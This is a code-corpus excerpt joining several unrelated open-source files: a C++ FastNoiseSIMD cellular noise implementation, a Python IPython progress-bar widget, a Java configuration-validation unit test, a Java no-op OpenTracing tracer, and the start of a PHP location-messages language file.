SIMDf_INV_SQRT(SIMDf_MUL_ADD(xd, xd, SIMDf_MUL_ADD(yd, yd, SIMDf_MUL(zd, zd)))));\ \ xd = SIMDf_MUL_ADD(xd, invMag, xcf);\ yd = SIMDf_MUL_ADD(yd, invMag, ycf);\ zd = SIMDf_MUL_ADD(zd, invMag, zcf);\ \ SIMDf newDistance = distanceFunc##_DISTANCE(xd, yd, zd);\ \ distance = SIMDf_MIN(distance, newDistance);\ \ zcf = SIMDf_ADD(zcf, SIMDf_NUM(1));\ zc = SIMDi_ADD(zc, SIMDi_NUM(zPrime));\ }\ ycf = SIMDf_ADD(ycf, SIMDf_NUM(1));\ yc = SIMDi_ADD(yc, SIMDi_NUM(yPrime));\ }\ xcf = SIMDf_ADD(xcf, SIMDf_NUM(1));\ xc = SIMDi_ADD(xc, SIMDi_NUM(xPrime));\ }\ \ return distance;\ } #define CELLULAR_DISTANCE2_SINGLE(distanceFunc, returnFunc)\ static SIMDf VECTORCALL FUNC(Cellular##returnFunc##distanceFunc##Single)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z, SIMDf cellJitter, int index0, int index1)\ {\ SIMDf distance[4] = {SIMDf_NUM(999999),SIMDf_NUM(999999),SIMDf_NUM(999999),SIMDf_NUM(999999)};\ \ SIMDi xc = SIMDi_SUB(SIMDi_CONVERT_TO_INT(x), SIMDi_NUM(1));\ SIMDi ycBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(y), SIMDi_NUM(1));\ SIMDi zcBase = SIMDi_SUB(SIMDi_CONVERT_TO_INT(z), SIMDi_NUM(1));\ \ SIMDf xcf = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(xc), x);\ SIMDf ycfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(ycBase), y);\ SIMDf zcfBase = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(zcBase), z);\ \ xc = SIMDi_MUL(xc, SIMDi_NUM(xPrime));\ ycBase = SIMDi_MUL(ycBase, SIMDi_NUM(yPrime));\ zcBase = SIMDi_MUL(zcBase, SIMDi_NUM(zPrime));\ \ for (int xi = 0; xi < 3; xi++)\ {\ SIMDf ycf = ycfBase;\ SIMDi yc = ycBase;\ for (int yi = 0; yi < 3; yi++)\ {\ SIMDf zcf = zcfBase;\ SIMDi zc = zcBase;\ for (int zi = 0; zi < 3; zi++)\ {\ SIMDi hash = FUNC(HashHB)(seed, xc, yc, zc);\ SIMDf xd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(hash, SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf yd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,10), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ SIMDf zd = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash,20), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5));\ \ SIMDf invMag = SIMDf_MUL(cellJitter, SIMDf_INV_SQRT(SIMDf_MUL_ADD(xd, xd, SIMDf_MUL_ADD(yd, yd, SIMDf_MUL(zd, zd)))));\ \ xd = SIMDf_MUL_ADD(xd, invMag, xcf);\ yd = SIMDf_MUL_ADD(yd, invMag, ycf);\ zd = SIMDf_MUL_ADD(zd, invMag, zcf);\ \ SIMDf newDistance = distanceFunc##_DISTANCE(xd, yd, zd);\ \ for(int i = index1; i > 0; i--)\ distance[i] = SIMDf_MAX(SIMDf_MIN(distance[i], newDistance), distance[i-1]);\ distance[0] = SIMDf_MIN(distance[0], newDistance);\ \ zcf = SIMDf_ADD(zcf, SIMDf_NUM(1));\ zc = SIMDi_ADD(zc, SIMDi_NUM(zPrime));\ }\ ycf = SIMDf_ADD(ycf, SIMDf_NUM(1));\ yc = SIMDi_ADD(yc, SIMDi_NUM(yPrime));\ }\ xcf = SIMDf_ADD(xcf, SIMDf_NUM(1));\ xc = SIMDi_ADD(xc, SIMDi_NUM(xPrime));\ }\ \ return returnFunc##_RETURN(distance[index0], distance[index1]);\ } #define CELLULAR_DISTANCE2CAVE_SINGLE(distanceFunc)\ static SIMDf VECTORCALL FUNC(CellularDistance2Cave##distanceFunc##Single)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z, SIMDf cellJitter, int index0, int index1)\ {\ SIMDf c0 = FUNC(CellularDistance2Div##distanceFunc##Single)(seed, x, y, z, cellJitter, index0, index1);\ \ x = SIMDf_ADD(x, SIMDf_NUM(0_5));\ y = SIMDf_ADD(y, SIMDf_NUM(0_5));\ z = SIMDf_ADD(z, SIMDf_NUM(0_5));\ seed = SIMDi_ADD(seed, SIMDi_NUM(1));\ \ SIMDf c1 = FUNC(CellularDistance2Div##distanceFunc##Single)(seed, x, y, z, cellJitter, index0, index1);\ \ return SIMDf_MIN(c0,c1);\ } CELLULAR_VALUE_SINGLE(Euclidean) CELLULAR_VALUE_SINGLE(Manhattan) CELLULAR_VALUE_SINGLE(Natural) CELLULAR_LOOKUP_SINGLE(Euclidean) CELLULAR_LOOKUP_SINGLE(Manhattan) CELLULAR_LOOKUP_SINGLE(Natural) #undef Natural_DISTANCE #define Natural_DISTANCE(_x, _y, _z) SIMDf_MUL(Euclidean_DISTANCE(_x,_y,_z), Manhattan_DISTANCE(_x,_y,_z)) CELLULAR_DISTANCE_SINGLE(Euclidean) CELLULAR_DISTANCE_SINGLE(Manhattan) CELLULAR_DISTANCE_SINGLE(Natural) #define CELLULAR_DISTANCE2_MULTI(returnFunc)\ CELLULAR_DISTANCE2_SINGLE(Euclidean, returnFunc)\ CELLULAR_DISTANCE2_SINGLE(Manhattan, returnFunc)\ CELLULAR_DISTANCE2_SINGLE(Natural, returnFunc) CELLULAR_DISTANCE2_MULTI(Distance2) CELLULAR_DISTANCE2_MULTI(Distance2Add) CELLULAR_DISTANCE2_MULTI(Distance2Sub) CELLULAR_DISTANCE2_MULTI(Distance2Div) CELLULAR_DISTANCE2_MULTI(Distance2Mul) CELLULAR_DISTANCE2CAVE_SINGLE(Euclidean) CELLULAR_DISTANCE2CAVE_SINGLE(Manhattan) CELLULAR_DISTANCE2CAVE_SINGLE(Natural) #define CELLULAR_MULTI(returnFunc)\ switch(m_cellularDistanceFunction)\ {\ case Euclidean:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##EuclideanSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ case Manhattan:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##ManhattanSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ case Natural:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##NaturalSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ } #define CELLULAR_INDEX_MULTI(returnFunc)\ switch(m_cellularDistanceFunction)\ {\ case Euclidean:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##EuclideanSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ case Manhattan:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##ManhattanSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ case Natural:\ SET_BUILDER(result = FUNC(Cellular##returnFunc##NaturalSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ } void SIMD_LEVEL_CLASS::FillCellularSet(float* noiseSet, int xStart, int yStart, int zStart, int xSize, int ySize, int zSize, float scaleModifier) { assert(noiseSet); SIMD_ZERO_ALL(); SIMDi seedV = SIMDi_SET(m_seed); INIT_PERTURB_VALUES(); scaleModifier *= m_frequency; SIMDf xFreqV = SIMDf_SET(scaleModifier * m_xScale); SIMDf yFreqV = SIMDf_SET(scaleModifier * m_yScale); SIMDf zFreqV = SIMDf_SET(scaleModifier * m_zScale); SIMDf cellJitterV = SIMDf_SET(m_cellularJitter); NoiseLookupSettings nls; switch (m_cellularReturnType) { case CellValue: CELLULAR_MULTI(Value); break; case Distance: CELLULAR_MULTI(Distance); break; case Distance2: CELLULAR_INDEX_MULTI(Distance2); break; case Distance2Add: CELLULAR_INDEX_MULTI(Distance2Add); break; case Distance2Sub: CELLULAR_INDEX_MULTI(Distance2Sub); break; case Distance2Mul: CELLULAR_INDEX_MULTI(Distance2Mul); break; case Distance2Div: CELLULAR_INDEX_MULTI(Distance2Div); break; case Distance2Cave: CELLULAR_INDEX_MULTI(Distance2Cave); break; case NoiseLookup: nls.type = m_cellularNoiseLookupType; nls.frequency = SIMDf_SET(m_cellularNoiseLookupFrequency); nls.fractalType = m_fractalType; nls.fractalOctaves = m_octaves; nls.fractalLacunarity = SIMDf_SET(m_lacunarity); nls.fractalGain = SIMDf_SET(m_gain); nls.fractalBounding = SIMDf_SET(m_fractalBounding); switch (m_cellularDistanceFunction) { case Euclidean: SET_BUILDER(result = FUNC(CellularLookupEuclideanSingle)(seedV, xF, yF, zF, cellJitterV, nls)) break; \ case Manhattan: SET_BUILDER(result = FUNC(CellularLookupManhattanSingle)(seedV, xF, yF, zF, cellJitterV, nls)) break; \ case Natural: SET_BUILDER(result = FUNC(CellularLookupNaturalSingle)(seedV, xF, yF, zF, cellJitterV, nls)) break; } break; } SIMD_ZERO_ALL(); } #define CELLULAR_MULTI_VECTOR(returnFunc)\ switch(m_cellularDistanceFunction)\ {\ case Euclidean:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##EuclideanSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ case Manhattan:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##ManhattanSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ case Natural:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##NaturalSingle)(seedV, xF, yF, zF, cellJitterV))\ break;\ } #define CELLULAR_INDEX_MULTI_VECTOR(returnFunc)\ switch(m_cellularDistanceFunction)\ {\ case Euclidean:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##EuclideanSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ case Manhattan:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##ManhattanSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ case Natural:\ VECTOR_SET_BUILDER(result = FUNC(Cellular##returnFunc##NaturalSingle)(seedV, xF, yF, zF, cellJitterV, m_cellularDistanceIndex0, m_cellularDistanceIndex1))\ break;\ } void SIMD_LEVEL_CLASS::FillCellularSet(float* noiseSet, FastNoiseVectorSet* vectorSet, float xOffset, float yOffset, float zOffset) { assert(noiseSet); assert(vectorSet); assert(vectorSet->size >= 0); SIMD_ZERO_ALL(); SIMDi seedV = SIMDi_SET(m_seed); SIMDf xFreqV = SIMDf_SET(m_frequency * m_xScale); SIMDf yFreqV = SIMDf_SET(m_frequency * m_yScale); SIMDf zFreqV = SIMDf_SET(m_frequency * m_zScale); SIMDf xOffsetV = SIMDf_MUL(SIMDf_SET(xOffset), xFreqV); SIMDf yOffsetV = SIMDf_MUL(SIMDf_SET(yOffset), yFreqV); SIMDf zOffsetV = SIMDf_MUL(SIMDf_SET(zOffset), zFreqV); SIMDf cellJitterV = SIMDf_SET(m_cellularJitter); INIT_PERTURB_VALUES(); int index = 0; int loopMax = vectorSet->size SIZE_MASK; NoiseLookupSettings nls; switch (m_cellularReturnType) { case CellValue: CELLULAR_MULTI_VECTOR(Value); break; case Distance: CELLULAR_MULTI_VECTOR(Distance); break; case Distance2: CELLULAR_INDEX_MULTI_VECTOR(Distance2); break; case Distance2Add: CELLULAR_INDEX_MULTI_VECTOR(Distance2Add); break; case Distance2Sub: CELLULAR_INDEX_MULTI_VECTOR(Distance2Sub); break; case Distance2Mul: CELLULAR_INDEX_MULTI_VECTOR(Distance2Mul); break; case Distance2Div: CELLULAR_INDEX_MULTI_VECTOR(Distance2Div); break; case Distance2Cave: CELLULAR_INDEX_MULTI_VECTOR(Distance2Cave); break; case NoiseLookup: nls.type = m_cellularNoiseLookupType; nls.frequency = SIMDf_SET(m_cellularNoiseLookupFrequency); nls.fractalType = m_fractalType; nls.fractalOctaves = m_octaves; nls.fractalLacunarity = SIMDf_SET(m_lacunarity); nls.fractalGain = SIMDf_SET(m_gain); nls.fractalBounding = SIMDf_SET(m_fractalBounding); switch (m_cellularDistanceFunction) { case Euclidean: VECTOR_SET_BUILDER(result = FUNC(CellularLookupEuclideanSingle)(seedV, xF, yF, zF, cellJitterV, nls)); break; case Manhattan: VECTOR_SET_BUILDER(result = FUNC(CellularLookupManhattanSingle)(seedV, xF, yF, zF, cellJitterV, nls)); break; case Natural: VECTOR_SET_BUILDER(result = FUNC(CellularLookupNaturalSingle)(seedV, xF, yF, zF, cellJitterV, nls)); break; } break; } SIMD_ZERO_ALL(); } #define SAMPLE_INDEX(_x,_y,_z) ((_x) * yzSizeSample + (_y) * zSizeSample + (_z)) #define SET_INDEX(_x,_y,_z) ((_x) * yzSize + (_y) * zSize + (_z)) void SIMD_LEVEL_CLASS::FillSampledNoiseSet(float* noiseSet, int xStart, int yStart, int zStart, int xSize, int ySize, int zSize, int sampleScale) { assert(noiseSet); SIMD_ZERO_ALL(); if (sampleScale <= 0) { FillNoiseSet(noiseSet, xStart, yStart, zStart, xSize, ySize, zSize); return; } int sampleSize = 1 << sampleScale; int sampleMask = sampleSize - 1; float scaleModifier = float(sampleSize); int xOffset = (sampleSize - (xStart & sampleMask)) & sampleMask; int yOffset = (sampleSize - (yStart & sampleMask)) & sampleMask; int zOffset = (sampleSize - (zStart & sampleMask)) & sampleMask; int xSizeSample = xSize + xOffset; int ySizeSample = ySize + yOffset; int zSizeSample = zSize + zOffset; if (xSizeSample & sampleMask) xSizeSample = (xSizeSample & ~sampleMask) + sampleSize; if (ySizeSample & sampleMask) ySizeSample = (ySizeSample & ~sampleMask) + sampleSize; if (zSizeSample & sampleMask) zSizeSample = (zSizeSample & ~sampleMask) + sampleSize; xSizeSample = (xSizeSample >> sampleScale) + 1; ySizeSample = (ySizeSample >> sampleScale) + 1; zSizeSample = (zSizeSample >> sampleScale) + 1; float* noiseSetSample = GetEmptySet(xSizeSample * ySizeSample * zSizeSample); FillNoiseSet(noiseSetSample, xStart >> sampleScale, yStart >> sampleScale, zStart >> sampleScale, xSizeSample, ySizeSample, zSizeSample, scaleModifier); int yzSizeSample = ySizeSample * zSizeSample; int yzSize = ySize * zSize; SIMDi axisMask = SIMDi_SET(sampleMask); SIMDf axisScale = SIMDf_SET(1.f / scaleModifier); SIMDf axisOffset = SIMDf_MUL(axisScale, SIMDf_NUM(0_5)); SIMDi sampleSizeSIMD = SIMDi_SET(sampleSize); SIMDi xSIMD = SIMDi_SET(-xOffset); SIMDi yBase = SIMDi_SET(-yOffset); SIMDi zBase = SIMDi_SET(-zOffset); int localCountMax = (1 << (sampleScale * 3)); int vMax = VECTOR_SIZE; #if SIMD_LEVEL == FN_NEON SIMDi sampleScaleV = SIMDi_SET(-sampleScale); SIMDi sampleScale2V = SIMDi_MUL(sampleScaleV, SIMDi_NUM(2)); #endif for (int x = 0; x < xSizeSample - 1; x++) { SIMDi ySIMD = yBase; for (int y = 0; y < ySizeSample - 1; y++) { SIMDi zSIMD = zBase; SIMDf c001 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y, 0)]); SIMDf c101 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y, 0)]); SIMDf c011 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y + 1, 0)]); SIMDf c111 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y + 1, 0)]); for (int z = 0; z < zSizeSample - 1; z++) { SIMDf c000 = c001; SIMDf c100 = c101; SIMDf c010 = c011; SIMDf c110 = c111; c001 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y, z + 1)]); c101 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y, z + 1)]); c011 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y + 1, z + 1)]); c111 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y + 1, z + 1)]); SIMDi localCountSIMD = SIMDi_NUM(incremental); int localCount = 0; while (localCount < localCountMax) { uSIMDi xi, yi, zi; #if SIMD_LEVEL == FN_NEON xi.m = SIMDi_AND(SIMDi_VSHIFT_L(localCountSIMD, sampleScale2V), axisMask); yi.m = SIMDi_AND(SIMDi_VSHIFT_L(localCountSIMD, sampleScaleV), axisMask); #else xi.m = SIMDi_AND(SIMDi_SHIFT_R(localCountSIMD, sampleScale * 2), axisMask); yi.m = SIMDi_AND(SIMDi_SHIFT_R(localCountSIMD, sampleScale), axisMask); #endif zi.m = SIMDi_AND(localCountSIMD, axisMask); SIMDf xf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(xi.m), axisScale, axisOffset); SIMDf yf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(yi.m), axisScale, axisOffset); SIMDf zf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(zi.m), axisScale, axisOffset); xi.m = SIMDi_ADD(xi.m, xSIMD); yi.m = SIMDi_ADD(yi.m, ySIMD); zi.m = SIMDi_ADD(zi.m, zSIMD); uSIMDf sampledResults; sampledResults.m = FUNC(Lerp)( FUNC(Lerp)( FUNC(Lerp)(c000, c100, xf), FUNC(Lerp)(c010, c110, xf), yf), FUNC(Lerp)( FUNC(Lerp)(c001, c101, xf), FUNC(Lerp)(c011, c111, xf), yf), zf); for (int i = 0; i < vMax; i++) { if (xi.a[i] >= 0 && xi.a[i] < xSize && yi.a[i] >= 0 && yi.a[i] < ySize && zi.a[i] >= 0 && zi.a[i] < zSize) { int index = SET_INDEX(xi.a[i], yi.a[i], zi.a[i]); noiseSet[index] = sampledResults.a[i]; } } localCount += VECTOR_SIZE; localCountSIMD = SIMDi_ADD(localCountSIMD, SIMDi_NUM(vectorSize)); } zSIMD = SIMDi_ADD(zSIMD, sampleSizeSIMD); } ySIMD = SIMDi_ADD(ySIMD, sampleSizeSIMD); } xSIMD = SIMDi_ADD(xSIMD, sampleSizeSIMD); } FreeNoiseSet(noiseSetSample); SIMD_ZERO_ALL(); } void SIMD_LEVEL_CLASS::FillSampledNoiseSet(float* noiseSet, FastNoiseVectorSet* vectorSet, float xOffset, float yOffset, float zOffset) { assert(noiseSet); assert(vectorSet); assert(vectorSet->size >= 0); SIMD_ZERO_ALL(); int sampleScale = vectorSet->sampleScale; if (sampleScale <= 0) { FillNoiseSet(noiseSet, vectorSet, xOffset, yOffset, zOffset); return; } int sampleSize = 1 << sampleScale; int sampleMask = sampleSize - 1; float scaleModifier = float(sampleSize); int xSize = vectorSet->sampleSizeX; int ySize = vectorSet->sampleSizeY; int zSize = vectorSet->sampleSizeZ; int xSizeSample = xSize; int ySizeSample = ySize; int zSizeSample = zSize; if (xSizeSample & sampleMask) xSizeSample = (xSizeSample & ~sampleMask) + sampleSize; if (ySizeSample & sampleMask) ySizeSample = (ySizeSample & ~sampleMask) + sampleSize; if (zSizeSample & sampleMask) zSizeSample = (zSizeSample & ~sampleMask) + sampleSize; xSizeSample = (xSizeSample >> sampleScale) + 1; ySizeSample = (ySizeSample >> sampleScale) + 1; zSizeSample = (zSizeSample >> sampleScale) + 1; float* noiseSetSample = GetEmptySet(vectorSet->size); FillNoiseSet(noiseSetSample, vectorSet, xOffset - 0.5f, yOffset - 0.5f, zOffset - 0.5f); int yzSizeSample = ySizeSample * zSizeSample; int yzSize = ySize * zSize; SIMDi axisMask = SIMDi_SET(sampleMask); SIMDf axisScale = SIMDf_SET(1.f / scaleModifier); SIMDf axisOffset = SIMDf_MUL(axisScale, SIMDf_NUM(0_5)); SIMDi sampleSizeSIMD = SIMDi_SET(sampleSize); SIMDi xSIMD = SIMDi_SET_ZERO(); int localCountMax = (1 << (sampleScale * 3)); int vMax = VECTOR_SIZE; #if SIMD_LEVEL == FN_NEON SIMDi sampleScaleV = SIMDi_SET(-sampleScale); SIMDi sampleScale2V = SIMDi_MUL(sampleScaleV, SIMDi_NUM(2)); #endif for (int x = 0; x < xSizeSample - 1; x++) { SIMDi ySIMD = SIMDi_SET_ZERO(); for (int y = 0; y < ySizeSample - 1; y++) { SIMDi zSIMD = SIMDi_SET_ZERO(); SIMDf c001 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y, 0)]); SIMDf c101 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y, 0)]); SIMDf c011 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y + 1, 0)]); SIMDf c111 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y + 1, 0)]); for (int z = 0; z < zSizeSample - 1; z++) { SIMDf c000 = c001; SIMDf c100 = c101; SIMDf c010 = c011; SIMDf c110 = c111; c001 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y, z + 1)]); c101 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y, z + 1)]); c011 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x, y + 1, z + 1)]); c111 = SIMDf_SET(noiseSetSample[SAMPLE_INDEX(x + 1, y + 1, z + 1)]); SIMDi localCountSIMD = SIMDi_NUM(incremental); int localCount = 0; while (localCount < localCountMax) { uSIMDi xi, yi, zi; #if SIMD_LEVEL == FN_NEON xi.m = SIMDi_AND(SIMDi_VSHIFT_L(localCountSIMD, sampleScale2V), axisMask); yi.m = SIMDi_AND(SIMDi_VSHIFT_L(localCountSIMD, sampleScaleV), axisMask); #else xi.m = SIMDi_AND(SIMDi_SHIFT_R(localCountSIMD, sampleScale * 2), axisMask); yi.m = SIMDi_AND(SIMDi_SHIFT_R(localCountSIMD, sampleScale), axisMask); #endif zi.m = SIMDi_AND(localCountSIMD, axisMask); SIMDf xf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(xi.m), axisScale, axisOffset); SIMDf yf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(yi.m), axisScale, axisOffset); SIMDf zf = SIMDf_MUL_ADD(SIMDf_CONVERT_TO_FLOAT(zi.m), axisScale, axisOffset); xi.m = SIMDi_ADD(xi.m, xSIMD); yi.m = SIMDi_ADD(yi.m, ySIMD); zi.m = SIMDi_ADD(zi.m, zSIMD); uSIMDf sampledResults; sampledResults.m = FUNC(Lerp)( FUNC(Lerp)( FUNC(Lerp)(c000, c100, xf), FUNC(Lerp)(c010, c110, xf), yf), FUNC(Lerp)( FUNC(Lerp)(c001, c101, xf), FUNC(Lerp)(c011, c111, xf), yf), zf); for (int i = 0; i < vMax; i++) { if (xi.a[i] < xSize && yi.a[i] < ySize && zi.a[i] < zSize) { int index = SET_INDEX(xi.a[i], yi.a[i], zi.a[i]); noiseSet[index] = sampledResults.a[i]; } } localCount += VECTOR_SIZE; localCountSIMD = SIMDi_ADD(localCountSIMD, SIMDi_NUM(vectorSize)); } zSIMD = SIMDi_ADD(zSIMD, sampleSizeSIMD); } ySIMD = SIMDi_ADD(ySIMD, sampleSizeSIMD); } xSIMD = SIMDi_ADD(xSIMD, sampleSizeSIMD); } FreeNoiseSet(noiseSetSample); SIMD_ZERO_ALL(); } #undef SIMD_LEVEL #endif
nrz/ylikuutio
external/FastNoiseSIMD/FastNoiseSIMD/FastNoiseSIMD_internal.cpp
C++
agpl-3.0
81,350
#!/usr/bin/python # -*- coding: utf-8 -*- ## # ipy.py: Interaction with IPython and Jupyter. ## # © 2016 Chris Ferrie (csferrie@gmail.com) and # Christopher E. Granade (cgranade@gmail.com) # # This file is a part of the Qinfer project. # Licensed under the AGPL version 3. ## # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ## ## FEATURES ################################################################### from __future__ import absolute_import from __future__ import division ## EXPORTS ################################################################### __all__ = ['IPythonProgressBar'] ## IMPORTS #################################################################### try: from IPython.display import display import ipywidgets as ipw except: display = None ipw = None ## CLASSES ################################################################### class IPythonProgressBar(object): """ Represents a progress bar as an IPython widget. If the widget is closed by the user, or by calling ``finalize()``, any further operations will be ignored. .. note:: This progress bar is compatible with QuTiP progress bar classes. """ def __init__(self): if ipw is None: raise ImportError("IPython support requires the ipywidgets package.") self.widget = ipw.FloatProgress( value=0.0, min=0.0, max=100.0, step=0.5, description="" ) @property def description(self): """ Text description for the progress bar widget, or ``None`` if the widget has been closed. :type: `str` """ try: return self.widget.description except: return None @description.setter def description(self, value): try: self.widget.description = value except: pass def start(self, max): """ Displays the progress bar for a given maximum value. :param float max: Maximum value of the progress bar. """ try: self.widget.max = max display(self.widget) except: pass def update(self, n): """ Updates the progress bar to display a new value. """ try: self.widget.value = n except: pass def finished(self): """ Destroys the progress bar. """ try: self.widget.close() except: pass
MichalKononenko/python-qinfer
src/qinfer/ipy.py
Python
agpl-3.0
3,141
package rocks.inspectit.shared.cs.cmr.property.configuration; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.hasEntry; import static org.hamcrest.Matchers.hasKey; import static org.hamcrest.Matchers.not; import static org.mockito.Mockito.when; import java.util.Map; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import rocks.inspectit.shared.cs.cmr.property.configuration.validation.PropertyValidation; @SuppressWarnings("PMD") public class ConfigurationTest { private Configuration configuration; @Mock private AbstractProperty property1; @Mock private AbstractProperty property2; @Mock private PropertyValidation propertyValidation1; @Mock private PropertyValidation propertyValidation2; @BeforeMethod public void init() { MockitoAnnotations.initMocks(this); configuration = new Configuration(); PropertySection section = new PropertySection(); section.addProperty(property1); section.addProperty(property2); configuration.addSection(section); } @Test public void validate() { when(propertyValidation1.hasErrors()).thenReturn(true); when(property1.validate()).thenReturn(propertyValidation1); when(propertyValidation2.hasErrors()).thenReturn(false); when(property2.validate()).thenReturn(propertyValidation2); Map<AbstractProperty, PropertyValidation> validateMap = configuration.validate(); assertThat(validateMap, hasEntry(property1, propertyValidation1)); assertThat(validateMap, not(hasKey(property2))); } }
inspectIT/inspectIT
inspectit.shared.cs/src/test/java/rocks/inspectit/shared/cs/cmr/property/configuration/ConfigurationTest.java
Java
agpl-3.0
1,609
package rocks.inspectit.agent.java.sdk.opentracing.internal.noop; import java.util.Collections; import java.util.Map.Entry; import io.opentracing.NoopSpanContext; import io.opentracing.NoopTracer; import io.opentracing.NoopTracerFactory; import io.opentracing.SpanContext; import io.opentracing.propagation.Format; import rocks.inspectit.agent.java.sdk.opentracing.ExtendedTracer; import rocks.inspectit.agent.java.sdk.opentracing.Timer; import rocks.inspectit.agent.java.sdk.opentracing.propagation.Propagator; /** * No-operation tracer that implement the {@link ExtendedTracer} interface. Simply delegates calls * to the {@link NoopTracer} of the opentracing.io. * * @author Ivan Senic * */ public final class NoopExtendedTracerImpl implements ExtendedTracer, NoopTracer { /** * Instance for usage. */ public static final NoopExtendedTracerImpl INSTANCE = new NoopExtendedTracerImpl(); /** * The noop tracer from the opentracing.io. */ private static final NoopTracer DEFAULT_NOOP_TRACER = NoopTracerFactory.create(); /** * The noop context instance to return when calling {@link #getCurrentContext()}. */ private static final NoopSpanContext NOOP_SPAN_CONTEXT_INSTANCE = new NoopSpanContext() { @Override public Iterable<Entry<String, String>> baggageItems() { return Collections.emptyList(); } }; /** * Private constructor, use {@link #INSTANCE}. */ private NoopExtendedTracerImpl() { } /** * {@inheritDoc} */ @Override public SpanBuilder buildSpan(String operationName) { return DEFAULT_NOOP_TRACER.buildSpan(operationName); } /** * {@inheritDoc} */ @Override public <C> void inject(SpanContext spanContext, Format<C> format, C carrier) { DEFAULT_NOOP_TRACER.inject(spanContext, format, carrier); } /** * {@inheritDoc} */ @Override public <C> SpanContext extract(Format<C> format, C carrier) { return DEFAULT_NOOP_TRACER.extract(format, carrier); } /** * {@inheritDoc} */ @Override public <C> void registerPropagator(Format<C> format, Propagator<C> propagator) { } /** * {@inheritDoc} */ @Override public void setTimer(Timer timer) throws IllegalArgumentException { } /** * {@inheritDoc} */ @Override public SpanBuilder buildSpan() { return DEFAULT_NOOP_TRACER.buildSpan(null); } /** * {@inheritDoc} */ @Override public SpanBuilder buildSpan(String operationName, String referenceType, boolean useThreadContext) { return DEFAULT_NOOP_TRACER.buildSpan(operationName); } /** * {@inheritDoc} */ @Override public SpanContext getCurrentContext() { return NOOP_SPAN_CONTEXT_INSTANCE; } }
inspectIT/inspectIT
inspectit.agent.java.sdk/src/main/java/rocks/inspectit/agent/java/sdk/opentracing/internal/noop/NoopExtendedTracerImpl.java
Java
agpl-3.0
2,621
<?php return array( 'does_not_exist' => 'Staðsetningin er ekki til.', 'assoc_users' => 'This location is currently associated with at least one user and cannot be deleted. Please update your users to no longer reference this location and try again. ', 'assoc_assets' => 'This location is currently associated with at least one asset and cannot be deleted. Please update your assets to no longer reference this location and try again. ', 'assoc_child_loc' => 'This location is currently the parent of at least one child location and cannot be deleted. Please update your locations to no longer reference this location and try again. ', 'create' => array( 'error' => 'Location was not created, please try again.', 'success' => 'Location created successfully.' ), 'update' => array( 'error' => 'Location was not updated, please try again', 'success' => 'Location updated successfully.' ), 'delete' => array( 'confirm' => 'Are you sure you wish to 